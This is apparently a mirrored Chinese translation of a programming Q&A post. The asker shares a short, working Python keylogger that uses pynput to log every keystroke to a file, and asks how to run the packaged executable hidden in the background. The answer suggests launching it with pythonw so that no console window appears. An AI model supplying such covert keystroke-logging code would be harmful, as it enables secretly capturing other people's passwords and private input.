簡體   English   中英

如何在后台運行python腳本可執行文件

[英]How to run a python script executable in the background

我正在運行python 3.6,並做了一個鍵盤記錄程序來在我的VM上進行測試。 我使用pyinstaller將鍵盤記錄程序轉換為可執行文件。 鍵盤記錄程序工作得很好,但是,當我運行它時,它會打開一個黑色的窗口,當我關閉它時,它將停止該程序。 我想要它,因此可以在后台運行可執行文件。

編輯:我正在使用Windows 10

from pynput.keyboard import Key, Listener
import logging

log_dir = ''

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

如果您不希望任何控制台窗口出現在窗口下。 要在Windows上start ,請使用pythonw執行它。 熱鍵是Windows + r

pythonw C:\Users\yourUser\Desktop\hidden.py

在此處輸入圖片說明

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM